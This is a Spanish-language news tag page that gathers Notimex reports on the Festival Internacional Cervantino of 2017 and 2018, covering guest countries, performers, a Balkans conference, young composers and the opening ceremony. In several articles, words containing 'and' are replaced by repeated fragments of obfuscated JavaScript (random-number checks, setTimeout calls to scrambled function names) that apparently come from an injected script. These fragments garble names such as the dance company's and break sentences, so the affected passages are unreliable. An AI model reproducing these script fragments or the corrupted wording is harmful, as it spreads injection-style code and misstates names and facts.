Etiquetas: Festival Internacional Cervantino


India y Aguascalientes son los invitados del Festival Internacional Cervantino

10 octubre, 2018

Guanajuato. La edición XLVI del Festival Internacional Cervantino (FIC), que se llevará a cabo del 10 al 28 de octubre, será diferente a todas las anteriores por varias razones, entre ellas, porque el país y el estado Invitados de Honor son India y Aguascalientes, así, la programación dará un vuelco respecto a la de 2017.

Marcela Diez-Martínez Franco, directora general del Festival Internacional Cervantino, y de Promoción y Festivales Culturales de México, destacó en entrevista con Notimex que desde el FIC se intenta plantear y dar a conocer cómo los diferentes países observan y crean sus manifestaciones culturales y la forma como las vive la gente en esos países.

“De India podemos esperar mucho, porque su cultura tiene tal diversidad que con toda seguridad han traído su arte tradicional que aquí se conoce poco. Lo importante es que ese país ha ido anclando su paso a la modernidad, sin dejar a un lado sus tradiciones. Un ejemplo es su danza moderna, con vestuarios que refieren a su historia”, anotó.

La directora del FIC recordó que entre México e India existen grandes afinidades. “Nuestra alimentación lo indica, somos pueblos que nos gusta el color y tenemos una espiritualidad de base porque nuestra vida exterior tiene todo que ver con nuestra vida interior; ambos pueblos tienen mucho que compartir”.

India y Aguascalientes serán invitados por vez primera. Esa era una idea que permaneció en espera mucho tiempo. “Tanto India como Aguascalientes han tenido un crecimiento económico impresionante en los últimos años. Hacer venir a un país invitado, requiere que esté viviendo un buen momento económico, por el apoyo tan grande que ofrece”.

Pero no sólo eso, advirtió Diez-Martínez, “los países invitados apoyan al FIC con gran parte de su presentación, además, se necesita el interés de esas naciones por hacerse presentes en la cultura mexicana. En el caso de India, últimamente tiene más presencia aquí que la que tenía hace una década; este es el momento de traer a la India”.

Larga vida al Festival Internacional Cervantino, subrayó la entrevistada, porque además de ser una de las “Joyas de la nación”, es el escenario donde el país puede palpar la cultura de otras partes del mundo. “Sobre todo, porque es donde el arte se encuentra con los amantes de la cultura, quienes piensan que ésa es herramienta para sublimar al ser humano”.

Este año, el FIC conmemorará el centenario luctuoso de Saturnino Herrán, pintor emblemático de Aguascalientes y orgullo de México, de quien se reconocerán los trazos coloridos que brindaron significado a la idea de la esencia de México a principios del siglo XX. Esa es una de las 195 actividades que se llevarán a cabo tan sólo en la ciudad de Guanajuato.

Teatro, danza, música, exposiciones, talleres, charlas y cine completan la programación que en un 45 por ciento está dedicada a los jóvenes y el público familiar. En esta edición de la “Fiesta del Espíritu” se conmemorarán los 50 años del Movimiento Estudiantil del 68 y se rendirá homenaje al maestro Enrique Ruelas y sus “Entremeses Cervantinos” que dieron lugar al FIC.

Se recordará también la vida y la obra de grandes como Bernstein, Debussy, Rossini, Juventino Rosas y Jorge Ibargüengoitia, y habrá nuevas actividades de los programas “Cervantino en tu Comunidad”, “Una comunidad al Cervantino”, “Academia Cervantina” y “Proyecto Ruelas”; participarán 47 agrupaciones nacionales de las cuales 20 son de Guanajuato.

India, país Invitado de Honor, inaugurará el festival con la compañía The Danceworx y su propuesta “Un pasaje a Bollywood”, representación dancística y una celebración cinematográfica de la región; del Estado Invitado, Aguascalientes, se exhibirá en la Plaza San Roque animación video mapping con el título “Quizá mañana” con efectos de movimiento 3D.

Como parte de la programación musical se realizarán 63 actividades. De Estados Unidos, la agrupación Los Angeles Master Chorale, ensamble de voces, interpretará “Lagrime di San Pietro”, dirigida por Peter Sellars; la londinense Natalie Clein actuará dentro del Proyecto Beethoven que impulsa el FIC con “Sonatas completas para violonchelo y piano”.

Asistirá la rapera española Mala Rodríguez y está programada una función operística que destaca el Proyecto OM21 con el estreno mundial de la obra “Harriet”, comisionada a la compositora mexicana Hilda Paredes. Se basa en la vida de Araminta Ross, quien en el Siglo XIX luchó de manera decidida por la libertad de miles de esclavos afroamericanos.

Dentro del rubro de danza serán 14 los montajes que transitarán entre lo tradicional y lo contemporáneo, sin dejar de lado las artes visuales en su desarrollo. Destaca, por su importancia escénica, Les Ballets de Monte-Carlo, compañía que es considerada una de las mejores del mundo, con “LAC”, basado en la historia de “El lago de los cisnes”

Además, el Ballet del Teatro Nacional de Eslovenia Maribor montará “Stabat Mater” de Pergolesi, y “La consagración de la primavera” de Stravinsky, con la inclusión de propuestas de danza clásica, neoclásica y contemporánea. El bailarín japonés Hiroaki Umeda traerá “Partícula intensional” que se apoya en imágenes digitales que interactúan con el cuerpo humano.

El festival tendrá en las artes escénicas un pilar importante, pues ofrecerá 36 montajes, desde lo clásico hasta lo contemporáneo, con la agrupación de Ex Machina, de Quebec, bajo la dirección del creador multidisciplinario Robert Lepage. Es una amalgama de artes escénicas, visuales, performativas, documentales, circenses y musicales con apoyo de nuevas tecnologías.

India presentará a su agrupación titiritera Meher The Troupe con “La vida tan larga como un sueño”, que narra la vida de Swami Vivekananda, líder espiritual del siglo XIX y cuya teoría del karma sigue inspirando la vida de millones de personas en busca de la fraternidad. De acuerdo con la programación, ese será uno de los espectáculos más atractivos.

En materia de artes visuales, destaca la exposición del suizo Hans Ruedi Giger, creador de imágenes futuristas y películas de ciencia ficción como “Alien”; India montará dos exposiciones de fotografía. Una corresponde a Yolanda Andrade, “El hechizo de la India” y la segunda es de Norma Patiño y se titula “El hogar y el mundo. Fotografías de la India”.

Sobre la vida y obra de José Guadalupe Posada, grabador originario de Aguascalientes, se desplegarán diversas actividades. Además, sobre el movimiento social y estudiantil de 1968, que este año cumple cinco décadas, Ximena Cuevas preparó “México, un país llamado cine. Reloaded 2018”, que será presentado en el marco de esta edición cervantina.

En total serán 195 espectáculos, con un total de 327 funciones distribuidas en ópera y música vocal, música, danza, teatro, espectáculos de calle, exposiciones y actividades académicas, lo que representará un despliegue de 110 grupos artísticos, de 35 países, incluido México.

Este año, el eje temático del FIC es “El futuro es hoy” y al respecto se incluyen foros de discusión y espectáculos que abordan temas como el orden social y geopolítico, el cuidado del planeta, la migración, la tolerancia, la convivencia, las nuevas tecnologías de la comunicación y la globalización, en un marco que no deja de observar hacia las raíces de México.

Fuente: Notimex


Mala Rodríguez cantará en el Festival Internacional Cervantino

8 octubre, 2018

México. La cantante española Mala Rodríguez se presentará en la Alhóndiga de Granaditas durante el Festival Internacional Cervantino, el sábado 13 de octubre a las 20:00 horas.

Recientemente, la intérprete estrenó el sencillo “Contigo” junto al rapero Stylo G, una canción que demuestra sensualidad a través de un ritmo de reguetón y dancehall producido por Milkman. La letra describe dos personas enamoradas que demuestran la necesidad de estar juntas cuando están separadas.

De acuerdo con la página oficial del Festival Internacional Cervantino, la originaria de Jerez de la Frontera, España, cuenta con carácter duro, incluso agresivo, mismo que juega con el papel de la ira que, encarnada en su voz, adopta tonos graves y transmite un estallido de rabia que contrasta con sus ideales personales.

Dentro de su discurso hay una dicotomía clara entre cantos que versan sobre injusticia social y crítica política en un muy peculiar estilo en el que lleva plasmadas sus raíces.

“Quien manda”, “Gitana”, “Miedo a volar”, “Por la noche” y “Tengo un trato” son algunas de las canciones de la artista.

Fuente: Notimex


Los Balcanes, tema central en conferencia magistral en el Festival Cervantino

6 octubre, 2018

México. El Festival Internacional Cervantino en su edición XLVI trae un abanico artístico en teatro, danza, música y una conferencia magistral con el tema: “Los Balcanes imaginarios: identidad y recuerdos” en las voces de Oliver Frljić, András Urbán, Dino Mustafic y Giorgio Ursini, el 19 de octubre, en el Museo Iconográfico del Quijote.

El especialista esloveno Giorgio Ursini compartió detalles sobre el pasado de los Balcanes en medio de una de las últimas guerras más cruentas del siglo XIX, la situación política y social, junto con sus repercusiones en la música y el teatro.

El también director artístico y autor de una veintena de libros rememoró el asedio que sufrió la ciudad de Sarajevo, como una de las más largas de la historia de la humanidad en la que jugaron un papel importante las familias de esa región, enfrentadas unas contra otras sin importar su parentesco.

Esta situación tuvo un impacto psicológico en las futuras generaciones y se transformó en lo que él llamaría una psicoterapia a través de las artes, para buscar sanar un pasado de diferencias y hacer un llamado a una reconciliación y hermandad.

Directores como András Urbán y Dino Mustafic fueron los primeros dentro de la escena teatral en trabajar con actores serbios, croatas y bosnios, sin hacer distinción alguna, agregó.

Comentó que dos trabajos muy violentos que retratan el entorno de la ex-Yugoslavia son las obras: “¡Maldito sea el traidor a su patria!” (jueves 18 y viernes 19 de octubre, a las 18:00 horas, en el Teatro Principal), dirigida por Oliver Frljić, a cargo de la compañía eslovena Mladinsko.

Así como “¿Qué es Europa? Un ritual de guerra” (sábado 20 y domingo 21 de octubre, a las 18:00 horas, en el Teatro Principal), de András Urbán por parte de la compañía Scene Mess.

Sobre el Ballet del Teatro Nacional de Eslovenia Maribor, Giorgio Ursini dio a conocer que es la institución más grande de Liubliana, la capital de Eslovenia, y de Europa.

Resaltó que el homenaje que la compañía hace a Stravinsky en la obra “La consagración de la primavera” (viernes 19 y sábado 20 de octubre, a las 20:00 horas, en el Auditorio del Estado), la vuelve una de las más importantes por su calidad dentro de la danza.

Por lo que “será un hit dentro del Festival Cervantino, tal como lo fue en Bogotá en una temporada de 10 días, con un rotundo éxito”, declaró mediante un comunicado.

En tanto, Damir Imamović, con su banda Sevdah Takht, presentará su programa “Sevdah”, un estilo cargado de nostalgia profunda, el sábado 20 de octubre, a las 12:00 horas, en la Ex Hacienda San Gabriel de Barrera.

Fuente: Notimex


Otorga España a México premio por difundir el flamenco

7 agosto, 2018

La Unión. México recibió el premio Catedral del Cante, en el marco de la LVIII edición del Festival Internacional del Cante de las Minas que tiene lugar en este municipio de Murcia, sureste español, por ser un país implicado en la difusión del flamenco a lo largo de todo su territorio.

La consejera de Cultura de la Embajada de México en España, Susana Pliego, recibió agradecida el galardón y destacó que “el Flamenco pasó a ser parte de la riqueza musical de México y este premio sirve para constatar que en el arte no existen fronteras”.

La organización del certamen indicó que España y México siempre han estado estrechamente relacionados comenzando por el hecho histórico de que el país azteca fue antiguo territorio español.

Señaló que el principal punto que hace especial esta relación son las similitudes entre ambas culturas.

Aseguró que además de compartir un patrimonio lingüístico, el flamenco es una de las tradiciones más arraigadas en la cultura de ambos países. Este está dentro de las raíces de cantos populares de Jalisco, Guerrero y Veracruz, entre otras regiones.

El gran arraigo con el Flamenco está presente ya que el 60 por ciento de la música genuina mexicana procede de la misma base.

Peteneras, Malagueñas, Soleares, Fandangos, Olés, Caña, Tango o Guajiras, son algunos de los palos que se ven enormemente influenciados.

Además, otro de los puntos importantes que certifican este arraigo son los festivales que en México se organizan.

Algunos de los más conocidos son: Festival Flamenco Ciudad de México, Festival Internacional de danza Ibérica de Santiago de Queretano y Festival Presencia Flamenca en Ciudad de México.

Asimismo, el Festival de Arte Flamenco de San Luis Potosí y Festival Internacional Cervantino de Guanajuato.

La organización destacó que son muchas las escuelas y universidades que se dedican a divulgar el flamenco en este territorio.

Algunos ejemplos de gran importancia son las universidades de Puebla, de Guanajuato, de Chihuahua y la Universidad Nacional Autónoma de México, así como las escuelas Manolo Vargas, Óscar Torriba y Joselito, entre otras.

Estas universidades y escuelas hacen numerosos cursos y talleres con los que enseñan y difunden el flamenco por todo el territorio mexicano.

Puso como ejemplo que la bailaora de flamenco Patricia Linares es una gran embajadora del Flamenco Mexicano por todo el territorio. Además, la Escuela de Flamenco Andaluz tiene sede en: Guadalajara, Morelia, Puebla, Querétaro, Monterrey y Ciudad de México.

Durante el mes de agosto, el municipio de La Unión se convierte de manera indiscutible en la capital mundial del flamenco.

El Festival Internacional del Cante de las Minas inunda las calles del municipio con las mejores actividades, galas y concursos.

Durante once días, el flamenco está presente en cada rincón de La Unión con otras muchas actividades programadas como son los cursos de cantes de levante, guitarra, baile, instrumentos y cajón, la actividad de Pinta el Cante o el Desfile de Moda flamenca coreografiado y en las que puede participar toda la familia.

Otras actividades de gran interés cultural, que transcurren especialmente en la Casa del Piñón, son las entregas de premios, las exposiciones pictóricas o las presentaciones de diferentes libros como los de Patricio Peñalver, Pedro Ojesto o Salvador Saura.

Fuente: Notimex


Cervantino contará con la participación de jóvenes compositores

12 marzo, 2018

Guanajuato. Gracias a un programa de fortalecimiento, jóvenes compositores crearán la música del Festival Internacional Cervantino para su edición XLVI, misma que será ejecutada por intérpretes y ensambles de primer nivel en la llamada Fiesta del Espíritu.

Esta oportunidad se creó gracias al programa de Fortalecimiento para Jóvenes Compositores en el Área de Música Electroacústica Prácticas de Vuelo, impulsado por el Centro Mexicano para la Música y las Artes Sonoras (CMMAS).

El director del CMMAS, Rodrigo Sigal Sefchovich, informó mediante un comunicado, que los jóvenes compositores Itzam Zapata, Juan José Bárcenas, Vladimir Aranda, Erika Vega, Tania Rubio y Andrés Nuño, serán los encargados de las composiciones.

“El objetivo es que en lugar de que haya un solo grupo o solista ejecutante, ahora se conecte a los becarios con ensambles internacionales y cada uno haga un vínculo más cercano y de largo aliento con ellos. La idea es que los compositores trabajen a lo largo del año”, expresó Sigal.

El Centro Mexicano para la Música y las Artes Sonoras, localizado en la ciudad de Morelia, Michoacán, desde hace siete años trabaja de manera cercana con el Festival Internacional Cervantino, la colaboración en ese tiempo ha consistido en que becarios seleccionados por convocatoria realicen composiciones para un grupo en específico.

En 2017, Low Frequency Trio fue el encargado de estrenar las composiciones de ocho jóvenes creadores, que incluyeron componentes electrónicos (soporte fijo, electrónica en vivo o amplificación).

Para este año, los compositores, invitados de manera directa por las instancias organizadoras por su visión innovadora del uso de las tecnologías y la música contemporánea, trabajarán con diferentes ensambles o intérpretes.

El programa Prácticas de Vuelo se ha caracterizado por ser un proyecto que fomenta la creación musical con nuevas tecnologías y propicia la existencia de espacios de alto nivel académico en los que jóvenes, que están iniciando su carrera como compositores, trabajen con artistas consagrados que guían su proceso de creación.

De 2007 a la fecha, el CMMAS ha apoyado a más de 100 participantes que han trabajado de manera personalizada con artistas nacionales y extranjeros referentes a nivel mundial en música y nuevas tecnologías.

“Es un programa con más de 11 años que busca impulsar a jóvenes compositores mexicanos menores de 35 años de cualquier parte de la República Mexicana, no solamente a crear una obra única sino de trabajar a lo largo de varios meses, con el objetivo de presentarla en un festival o en un entorno profesional”, ahondó Rodrigo Sigal.

Fuente: Notimex


Presenta Roselandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Musical su espectáculo “Pinocchio siglo XXI” en Guanajuato

25 octubre, 2017

Guanajuato.  La compañía de danza española Roselandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Musical trajo al XLV Festival Internacional Cervantino (FIC) su espectáculo “Pinocchio siglo XXI”, basado en la novela de Carlo Collodi (1826-1890) “Le Avventure di Pinocchio” que data del siglo XIX, informó hoy aquí la fundadora de esa institución, Martha Almirall.

La adaptación incluye cambios sustanciales. En la historia original, “Pinocho” no va a la escuela por seguir a “Polilla”, quien lo lleva a la Isla de los Juegos, aquí, escapa de la escuela porque no tiene una computadora y se va a un lugar donde hay videojuegos; Antes, “Pinocho” era de madera, y en esta versión está hecho con materiales de reciclaje.

Su creador, “Geppetto” no es un anciano carpintero como lo concibió Collodi, sino un joven rapero que baila brake; en la historia ancestral un enorme tiburón se traga a “Pinocho”, y años más tarde la industria fílmica de Hollywood sustituyó a ese animal marino por una ballena; en la versión moderna, “Pinocho” y “Geppetto” vuelven a la panza de ese tiburón.

“Hemos intentado ser fieles a la historia original, aunque con los cambios que exigen los tiempos propios del siglo XXI. Este es un espectáculo entre el cine y el teatro, lleno de iconografías. Los bailarines están viviendo entre dos pantallas con imágenes animadas y a la vez, participan en la historia, esta es una obra de tres dimensiones”, dijo Almirall.

La compañía nació y radica hasta la fecha en Barcelona, España, y a la fecha cuenta con 35 años de experiencia. En un momento de su existencia, decidió hacer espectáculos de corte familiar, todos ellos con un enorme rigor escénico. A lo largo de estos años, ha ido transformandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o su estilo, comentó la fundadora.

Siempre ha trabajado la danza y la plástica conjuntamente con compositores musicales originales y en esos siete lustros, ha desarrollado piezas escénicas en el terreno de los niños, “lo cual no significa que no agraden a los adultos”, subrayó antes de destacar que en esta primera visita a México, la compañía trae una de sus más recientes creaciones.

“Pinocchio siglo XXI”, ha sido muy especial para la compañía, porque además de tomar como base una historia clásica de la literatura escrita para los lectores más pequeños, se ha rodeado de la participación de importantes mentes creativas, como por ejemplo, la del artista audiovisual Franc Aleu, quien tiene a su cargo la imagen del espectáculo, explicó.

Mencionó que juntos hicieron una obra para todos los públicos, fiel a la historia original, aunque los escenarios, características de los personajes y otros elementos fueron girados 180 grados para ubicarlos en el mundo actual. “De esa manera, los niños se pueden ver identificados con el personaje y el cuento, porque se ven guiños de su vida diaria”, acotó.

Por su parte, Anna Planas, directora de Coreografía y coreógrafa de la compañía, dejó ver que iniciar un proceso creativo es como abrir un cuaderno con páginas en blanco, “sin que sepamos cómo se va a desarrollar una obra.

Subrayó, sin embargo, que el gran interés de la compañía es que esta historia siga viva en el mundo, respetandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o la idea de Collodi.

Luego, ambas coincidieron en informar que como escuela de danza, Roselandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ha formado a niños y niñas durante 25 años, y muchos de ellos han pasado a ser parte del elenco o dirección del repertorio de los espectáculos de la compañía. Esta agrupación se distingue por la producción de propuestas dancísticas multimedia para cine, teatro y televisión.

En 2010, con el espectáculo “Pinocchio siglo XXI” basado en la novela de Carlo Collodi, la compañía inició un nuevo lenguaje artístico en sus obras, gracias a las aportaciones audiovisuales del artista Franc Aleu, quien dos años después fue acreedor al prestigioso Premio Nacional de Cultura, categoría Audiovisual, que se otorga anualmente en España.

La escenografía se compone de dos pantallas, al fondo y al frente, en donde se proyectan los decorados y personajes virtuales. La transición de imágenes y personajes de una a otra permite a los bailarines profesionales interactuar con éstas, formandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o un ambiente en tres dimensiones. La música es de José Manuel Pagán.

Hasta este momento, “Pinocchio siglo XXI” se ha traducido al castellano, inglés, francés y hebreo con el fin de presentarse alrededor del mundo. De esa forma, ya ha viajado a Israel, Canadá, Noruega, Rumania, y ahora en México. Ya estuvo los días 23 y 24 en el Teatro Manuel Doblado de León, y en el Auditorio de Minas de esta ciudad estará los días 27 y 28.

Fuente: Notimex


Arranca XLV  Festival Cervantino con un minuto de silencio por víctimas de sismo

11 octubre, 2017

Guanajuato. Convencidos de que “México está de pie”, funcionarios de cultura y de los gobiernos federal y local, inauguraron oficialmente el XLV Festival Internacional Cervantino (FIC) tras ofrecer un minuto de silencio en homenaje a las víctimas de los sismos que se registraron los días 7 y 19 de septiembre en el centro del país.

En el acto protocolario celebrado en el Teatro Juárez de esta ciudad, se entonó el Himno Nacional y se otorgó la Presea Cervantina al director de orquesta Enrique Bátiz y a la coreógrafa Amalia Hernández (1917-2000), para sí dar inicio oficialmente a la fiesta del espíritu, que este año tiene como invitados de honor a Francia y el Estado de México.

María Cristina García Cepeda, Secretaria de Cultura federal, comentó que hoy México enfrenta retos y desafíos de enorme trascendencia, ante los difíciles momentos que viven diversos estados y municipios, comunidades y poblaciones “les enviamos desde este Festival Internacional Cervantino nuestra solidaridad y cariño”.

Destacó que la cultura convoca a dar la mano para enfrentar los retos y sembrar la semilla del futuro, “hoy México abre los brazos de manera simbólica en este FIC para agradecer al mundo su solidaridad y apoyo para que el lenguaje del arte conforte y renueve”.

La cultura es memoria viva y el arte es una luminosa y permanente reafirmación del ser humano, sostuvo la funcionaria cultural, acompañada por la embajadora de Francia en México, Anne Grillo y la secretaria de Cultura del Estado de México, Marcela González Salas.

“Hermanos mexicanos hoy desde Guanajuato reiteramos y reconocemos que México está de pie, con la mano solidaria, el apoyo incondicional y la respuesta inmediata, hombro con hombro y con el puño en alto, los mexicanos expresamos en una sola voz nuestro profundo amor por el país”, reiteró.

En cuanto a los ejes temáticos del Festival, García Cepeda señaló que este año serán los centenarios de la Constitución de 1917 de México y la Revolución Rusa, bajo el tema central de las Revoluciones, porque en los diversos cambios sociales se han gestado transformaciones personales y colectivas en la manera de ver y concebir el mundo.

Recordó que México vivió la primera revolución social del siglo XX que modificó el curso del país y aportó una manera de entender la realidad, “nos entregó una obra de enorme relevancia, nuestra Carta Magna que este 2017 ha cumplido 100 años”.

En tanto, la Revolución de Octubre en Rusia marcó un cambio de paradigma en la organización social que cimbró al mundo y definió al siglo XX en todos los órdenes. Dos revoluciones sociales que se suman a los cambios culturales.

En presencia de Marcela Diez Martínez, directora general de Promoción y Festivales Culturales de la Secretaría de Cultura, y Miguel Márquez Márquez, Gobernador del Estado de Guanajuato, García Cepeda señaló que desde hace 45 años la ciudad de Guanajuato es la capital cervantina de América que abre sus espacios públicos para convertirse en el gran escenario del mundo.

En este sentido, Márquez Márquez abundó que el Festival Cervatino es “un digno escenario donde los creadores que provienen de los cuatro puntos cardinales del mundo comparten el testimonio de su búsqueda constante y del destino del hombre, hoy con la fuerza de la cultura México y Guanajuato construyen puentes con 35 países”.

Indicó que la cultura y el arte, sana heridas del alma y encuentra un remanso de paz en la agitada vida del día día, este es el espacio que necesita el hombre para la reflexión y esto solamente nos lo ofrece la cultura.

En su oportunidad, el maestro Enrique Bátiz expresó: “Creo que los presentes sabemos que todo puesto sobresaliente en el arte y la cultura nacional está sujeto a una avalancha crítica que apunta mucho más hacia el sentir en torno a la persona que hacia el reconocimiento objetivo de sus méritos”.

Por ello, agregó, “este acontecimiento que me reúne aquí es un punto culminante de mi carrera como músico y como persona. Tiene más relevancia mi cercanía con Guanajuato que fue mi casa de 2005 a 2010”.

El reconocimiento que le hacen en el marco del FIC, abundó le da enorme satisfacción y le provoca el mayor agradecimiento del que es capaz a todos los que intervinieron y lo consideraron digno de recibirlo.

“Esta estatuilla que recibo es un honor muy grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e, ante todo un reto para mi futuro no solo como director de orquesta, con más de cinco décadas de experiencia que me obliga a ser mucho mejor en lo que he sido musicalmente y como ser humano”, expresó.

También se entregó la Presea Cervantina “In memoriam” a la coreógrafa Amalia Hernández, fundadora del Ballet Folklórico de México. La presea fue recibida por Víctor Caudillo, coordinador artístico del Ballet. También se reconoció la labor del artesano Gorky González, quien falleció a principios de este año.

Esta noche en la Alhóndiga de Granaditas inicia el XLV Festival Internacional Cervantino con la presentación del grupo Dionysos, de Francia, a las 20:00 horas.

Fuente: Notimex


Auspicia FIC piezas escénicas sobre “Revoluciones OFF”

6 septiembre, 2017

México. Un total de cinco propuestas escénicas en las que jóvenes creadores abordan el tema de las revoluciones desde distintos discursos, integran la iniciativa “Revoluciones OFF” auspiciada por el Festival Internacional Cervantino (FIC), que se realizará del 11 al 29 de octubre en Guanajuato capital.

En el Salón de Usos Múltiples de la Biblioteca de las Artes del Centro Nacional de las Artes (Cenart) la actriz Cecilia Ramírez Romo dio los detalles de su propuesta escénica “Lobata… Teatro experimental para niños revolucionarios”, que se presentará en el Auditorio de Minas, los días 20 y 21 de octubre.

“Lobata es una experiencia teatral, una pieza escénica y un concierto de rap, es decir una obra que reúne teatro-concierto. Es nuestra propuesta para acercar a los niños a un tema tan complejo como la revolución de género a escondidas de los papás”, expresó.

Adelantó que muestra la historia de una joven que se hace llamar “Lobata”, quien sale huyendo de la guerra en busca de su identidad. Llega de la frontera huyendo de los militares y se encuentra con un concierto de rap, lidereado por un joven coyote, que se dedica pasar gente al otro lado.

El director y dramaturgo Ricardo Ruiz Lezama presentará “Escuadrón justicia. La nueva utopía”, a cargo de la compañía Maná en Escena, los días 20 y 21 de octubre, en el Mesón de San Antonio y en el Teatro Manuel Doblado en León, respectivamente.

“Este proyecto es una obra de teatro para jóvenes, donde el argumento es un grupo de jóvenes que toman conciencia de los problemas que ocurren en la sociedad y a partir de eso deciden tratar hacer algo por el país y se vuelven súper héroes”, señaló.

Destacó que la obra trata de analizar la figura del héroe y cuestionar sobre lo que sería ser héroe, tomandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o en cuenta el contexto. De ahí que incluya pop art, comic y lenguaje teatral, pues está creada a manera de comic en 3D.

Arnaud Charpentier y Olivier Dautais codirigen “La descarga aún no se ha completado”, que la compañía TeatroEntre2 montará en las catacumbas del Mesón de San Antonio, los días 27 y 28 de octubre.

“Proponemos un espectáculo tríptico con textos adaptados de Michel Houllebecq para dialogar con un universo completamente diferente como es el Patrick Chamaoiseau a partir de la novela ‘El esclavo hombre viejo y el perrazo’”, precisó Charpentier.

El espectáculo contará con la participación del artista plástico francés Oliver Dautais, quien se dedica a pintar sobre proyectores de acetatos y proyectar en vivo. “Fomentamos lo que se llama cine multimedia, hecho a mano, una especie de teatro-cine; se trata de una instalación plástica con varias proyectores de acetatos y todo se hace en vivo, la narración, las imágenes y la música”, apuntó Charpentier.

